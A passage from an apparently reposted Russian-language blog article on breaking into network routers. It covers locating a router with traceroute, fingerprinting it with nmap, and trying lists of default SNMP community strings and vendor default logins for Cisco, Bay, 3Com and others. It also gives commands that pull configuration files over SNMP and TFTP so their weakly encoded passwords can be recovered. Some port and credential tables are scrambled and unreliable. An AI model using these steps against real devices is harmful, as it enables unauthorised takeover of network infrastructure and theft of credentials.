.

Исследование и взлом роутеров (маршрутизаторов)


Порывшись в архивах статей на нашем, а также других сайтах связанных с сетевой безопасностью я не нашел практически никакой информации посвященной роутерам (маршрутизатарам), а ведь это является очень важной и неотъемлемой частью любой сети. По сему я решил написать данную статью, в которой я рассмотрю примеры определения удаленного роутера, определения типа ОС на которой он установлен, наиболее часто встречающиеся пользователи по умолчанию и другие не маловажные уязвимости.
Определения роутера. Нам понадобиться порт сканнер (желательно nmap) и простой traceroute. Для примера будем использовать www.myhost.com Начнем с определения IP адреса роутера который является окном в интернет для www.myhost.com. Делается это так:
bash# traceroute www.myhost.com
1 some.dns.001.com (*.*.*.1) 2.260 ms 1.911 ms 1.363 ms
2 some.dns.002.com (*.*.*.2) 3.952 ms 3.966 ms 4.297 ms
4 some.dns.004.com (*.*.*.4) 12.176 ms 13.102 ms 13.050
3 some.dns.003.com (*.*.*.3) 4.370 ms 9.422 ms 5.381 ms ms
5 www.myhost.com (*.*.*.5) 43.755 ms 42.683 ms 42.612 ms
как видно, конечной точкой переадресации пакетов является *.*.*.4 - это как раз и есть наш роутер, который будет рассматриваться в дальнейшем. Следующим шагом будет сканирования портов на данном адресе, для попытки определить на какие порты можно заглянуть для получения более подробной информации о том, с чем мы имеем дело.
bash# nmap -p1-170, 510-520, 2001, 4001, 6001, 7161, 9001 *.*.*.4 
Вот таблица портов для некоторых роутеров:
Тип роутера TCP UDP
isco routers 21(ftp) 0(tcpmux)
C 23(telnet) 49(domain)
80(http) 69(tftp) 5
79(finger) 67(bootpc) 12(exec) 123(ntp) 513(login) 161(snmp)
sko ident)
514(shell) 1993(Cisco snmp) 1999(C i 2001 4001 6001 9001(xRemote service)
scard) 67(bootpc)
Bay routers 21(ftp) 7(echo) 23(telnet) 9(d i68(bootpc) 69(tftp) 161(snmp) 520(route)
1(snmp) 162(snmp-trap)
Ascend routers 23(telnet) 7(echo) 9(discard) 1 6514(shell)
ute)
520(r o
После сканирования, я думаю не стоит объяснять как определить тип устройства ;). Кстати на многих cisco, при подключении на порт 23 и 2001 вы увидите приглашение типа:
User Access Verification
Password:
Допустим, мы определили тип роутера, но это еще только пол пути. Давайте рассмотрим кое-какие методы поиска информации об операционной системе.
Cisco
1) на 13-ом порту, можно попробовать запустить nmap со следующими параметрами:
bash# nmap -O -p13 -n *.*.*.4
Если порт открыт появиться что-нибудь типа: Remote operating system guess: Cisco Router …

2) 2001, 4001, 6001 - являются виртуально терминальными портами, ну не всегда это может быть cisco. Проверить можно вписав в браузер: 157.130.10.46:2001

если ответом будет нечто подобное: User Access Verification Password: Password: Password: % Bad Password
, то мы на правильном пути. 
3) 9001 порт отвечает за xRemote service отвечающий за запуск xSessions. Подсоединившись на 9001 порт мы получим приглашение:
- Out Bound Xremote srvice -
Ascend
Любой желающий может прочитать содержимое MIB используя community string read.
Bay По умолчанию данные роутеры, позволяют читать и изменять SNMP переменные. Для использования данной уязвимости можно войти в систему, используя имя пользователя по умолчанию и далее в приглашении ввести следующее:
show snmp comm types
данная команда выведет все имена для записи и чтения :). Вот листинг read/write community names для SNMP используемых по умолчанию:
-public
-write
-all p
-cisco rivate
-tivoli
-private -rea d -openview -monitor
efault -
-manager -security - dpassword -network -community
-secret -world
-admin
Ну что же, пришло время рассмотреть примеры проникновения на удаленный маршрутизатор. Не для кого не секрет, что многие производители hardware по умолчанию устанавливают акаунты использемые для администрирования и так называемого гостевого входа на роутер. В нашем же случае это можно назвать back door'ом. Зная тип маршрутизатора, можно попробовать ниже приведенные аккаунты для авторизации на роутер:
Устройство Логин Пароль Права
Cisco enable cisco администратор
23(telnet) c [только для пользователь
cisco 2600s]
o пользователь 23(telnet) cis
23(telnet) cis cco routers пользователь
оля] пользователь Manager [нет пароля]
Bay router User [нет па радминистратор Bay 350T switch NetICs NA администратор
нистратор Shiva root [нет пароля] администратор Guest [нет па
Bay SuperStack II security security адм ироля] пользователь WebRamp wradmin trancell администратор
synnet администратор manager manager администратор write sy
MotorolaCable cablecom router администратор Router 3Com admin nnet администратор debug synnet администратор tech tech пользователь monitor monitor пользователь
read synnet пользователь
Хотите верьте, хотите нет, но данные аккаунты активированы на многих маршрутизаторах. Причиной как всегда является халатность администраторов, которые забывают, либо им лень поменять/удалить данные акаунты. Их, к сожалению, устраивает вариант "пока не поломают - не пофиксю". Определенно данный вариант устраивает не только его ;).
Предлагаю плавно перейти на cisco роутеры, которые на сегодняшний день являются самыми распространенными и зарекомендовавшими себя в деле.
На cisco роутерах есть поддержка старой MIB, что позволяет любому с read/write community name скачать файлы конфигурации (которые хранят зашифрованые пароли) с помощью TFTP. Расшифровать пароли не составит особого труда, т.к. шифруется все XOR'ом. Для проверки роутера на уязвимость можно обратиться сюда www.solarwinds.net (здесь есть вся необходимая информация).
Вот пример стягивания конфиг файла на UNIX машине:
snmpset *.*.*.4 private 1.3.6.1.4.1.9.2.1.55.[ваш tftp хост] s [file.config]
Как я уже упомянул, слабый алгоритм XOR позволит без труда расшифровать пароль. Во избежании этого советую проверить каким алгоритмом зашифрован пароль, для этого можно посмотреть в конфигурации: show config 
Вариантом с XOR будет нечто похожее на это: enable password 7 08204E
Используйте более стойкий алгоритм MD5 для криптования паролей.
Кстати говоря, не только на cisco возможен вариант загрузки файла конфигурации, вы можете просканировать ваш роутер на 69 порт - на котором возможно весит TFTP. Если результат окажется положителельным, то можно попытаться выкачать файл конфигурации следующим образом:
bash# tftp
connect *.*.*.4
get [dns-name].cfg
quit
примером файла конфигурации был [dns-name], т.к. очень часто имя файла конфигурации совпадает с доменным именем маршрутизатора. Помимо всего того, что я перечислил в данной статье, существует множество других способов взятия контроля над роутером такие как: dsniff, ARP переадресация, RIP spoofing Возможно я расскажу об этом в моих последующих статьях повещенным данной теме.


Контакты >>>  
papa-tron

Комментариев нет:

Отправить комментарий

Спасибо за Ваш комментарий. ASI очень ценит его.